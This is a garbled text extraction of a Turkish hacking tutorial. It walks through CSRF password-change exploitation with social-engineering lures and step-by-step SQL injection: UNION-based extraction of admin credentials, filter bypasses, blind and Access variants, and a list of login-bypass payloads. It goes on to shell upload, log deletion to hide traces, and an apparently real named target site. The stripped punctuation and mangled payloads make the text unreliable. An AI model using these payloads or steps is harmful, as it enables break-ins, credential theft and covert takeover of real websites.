Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 18: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

